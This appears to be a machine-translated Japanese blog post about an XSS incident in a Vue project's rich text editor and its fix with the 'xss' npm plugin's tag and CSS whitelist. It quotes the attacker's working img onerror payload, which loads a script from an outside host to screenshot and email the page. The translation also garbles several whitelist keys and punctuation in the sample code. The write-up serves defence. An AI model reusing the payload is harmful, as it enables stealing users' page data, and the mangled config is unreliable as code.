序文インターネットの急速な発展に伴い、情報セキュリティの問題は企業にとって最も懸念される焦点の 1 つとなっており、フロントエンドは企業のセキュリティ問題を引き起こす高リスクの拠点となっています。モバイル インターネットの時代では、フロントエンド担当者は、XSS や CSRF などの従来のセキュリティ問題に加えて、ネットワーク ハイジャックやハイブリッド API への不正な呼び出しなどの新しいセキュリティ問題に遭遇することがよくあります。もちろん、ブラウザ自体は常に進化と発展を続けており、セキュリティを強化するために CSP や Same-Site Cookies などの新しいテクノロジーを常に導入していますが、潜在的な脅威は依然として多く存在しており、フロントエンド技術者は絶えず「漏れをチェックし、ギャップを埋める」必要があります。 原因を発見するすべての責任はリッチ テキスト エディターにあります... テキスト フィールドは、ユーザーが写真を直接貼り付けられるように必要に応じてリッチ テキスト エディターに変更されましたが、これはインターネットから写真をアップロードするユーザーによる攻撃でした。 攻撃コード 1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS'; データがエコーされると、イメージはエラーを報告し、onerrorイベントを実行し、現在のページのスクリーンショットが撮られ、指定されたメールボックスに送信されます。 当初の解決策は、オンライン画像をアップロードするリッチ テキスト エディター メソッドを直接無効にすることでしたが、攻撃は再び繰り返されました。攻撃者は「fiddler」を使用してパラメータを変更し、同じ効果を実現しました。 最終的に、サードパーティの XSS 攻撃保護プラグインが使用され、バックエンドの戻りデータの送信と取得時にフィルタリングされるホワイトリストを構成することで問題が解決されました。 プラグインの中国語ドキュメントのアドレス: github.com/leizongmin/… npm インストール xss 「xss」からfilterXSSをインポートします カスタムフィルタリングルールフィルタリングのために xss() 関数を呼び出すときに、2 番目のパラメータを使用してカスタム ルールを設定できます。 options = {}; // カスタムルール html = filterXSS('<script>alert("xss");</script>', options); whiteList によって指定され、形式は次のようになります: {'タグ名': ['属性 1', '属性 2']}。ホワイトリストにないタグはフィルタリングされ、ホワイトリストにない属性もフィルタリングされます。 オプション = { stripIgnoreTagBody: true, // ホワイトリストにないタグとその内容は直接削除されます whiteList: { h1: ["スタイル"], h2: ["スタイル"], h3: ["スタイル"], h4: ["スタイル"], h5: ["スタイル"], h6: ["スタイル"], hr: ["スタイル"], 範囲: ["スタイル"], 強い: ["スタイル"], b: ["スタイル"], i: ["スタイル"], br: [], p: ["スタイル"], pre: ["スタイル"], コード: ["スタイル"], a: ["スタイル", "ターゲット", "href", "タイトル", "rel"], 画像: ["スタイル", "ソース", "タイトル"], div: ["スタイル"], テーブル: ["スタイル", "幅", "境界線"], tr: ["スタイル"], td: ["スタイル", "幅", "列幅"], th: ["スタイル", "幅", "列範囲"], tbody: ["スタイル"], ul: ["スタイル"], li: ["スタイル"], ol: ["スタイル"], dl: ["スタイル"], dt: ["スタイル"], em: ["スタイル"], 引用: ["スタイル"], セクション: ["スタイル"], ヘッダー: ["スタイル"], フッター: ["スタイル"], 引用ブロック: ["スタイル"], オーディオ: ["自動再生", "コントロール", "ループ", "プリロード", "src"], ビデオ: 「自動再生」、 「コントロール」、 "ループ"、 「プリロード」、 「ソース」、 "身長"、 "幅"、 ]、 }, css: { // 上記のホワイトリストではタグのスタイル属性が許可されているため、攻撃者がこのメソッドを使用して攻撃するのを防ぐ必要があります。ホワイトリスト: { 色: 真、 "背景色": true, 幅: true、 高さ: true、 「最大幅」:true、 「最大高さ」: true、 「最小幅」:true、 「最小高さ」: true、 「フォントサイズ」:true、 }, }, } コンテンツ = filterXSS(コンテンツ、オプション) 要約するVUE プロジェクトで発生した XSS 攻撃に関するこの記事はこれで終わりです。VUE プロジェクトの XSS 攻撃に関する関連記事については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
>>: PrometheusはGrafanaディスプレイを使用してMySQLを監視します
目次1. 依存関係をインストールする2. vue.config.js ファイルで pwa を設定しま...
目次1. 問題の説明2. 問題解決1. 問題の説明Vue プロジェクトを開発する場合、作成時に誤って...
CentOS6.9+Mysql5.7.18 ソースコードのインストールでは、以下の操作を root ...
前提条件: Percona 5.6 バージョン、トランザクション分離レベルは RR mysql>...
XML/HTML コードコンテンツをクリップボードにコピー< div style = &quo...
序文パスワードを忘れることは、よく遭遇する問題です。MySQL または MariaDB データベース...
ドロップダウン メニューも実生活では非常に一般的です。実装に使用される js コードは、タブ選択やア...
結果: 実装コード: スワイパーコンポーネントと一緒に使用する必要がありますSwiper 基本デモア...
Dockerfile は、命令を含むテキスト ファイルです。各命令はレイヤーを構築するため、各命令の...
誰もがスクラッチ チケットで遊んだことがあると思います。子供の頃、ポケットにお金が入るとすぐに友達に...
nginxでサポートされている仮想ホストには3つの種類があります1. ドメイン名ベースの仮想ホスティ...
同僚から、停電のため MySQL インスタンスを起動できないという報告がありました。 innodb_...
WeChatアプレットフォームの検証、参考までに具体的な内容は次のとおりです。プラグインWxVali...
目次背景1. 思考分析2. ページ構成2.1 HTML レイヤー2.2 CSS レイヤー2.3 JS...
この記事では、centos7 システムの nginx サーバーの下に phalcon 環境を構築する...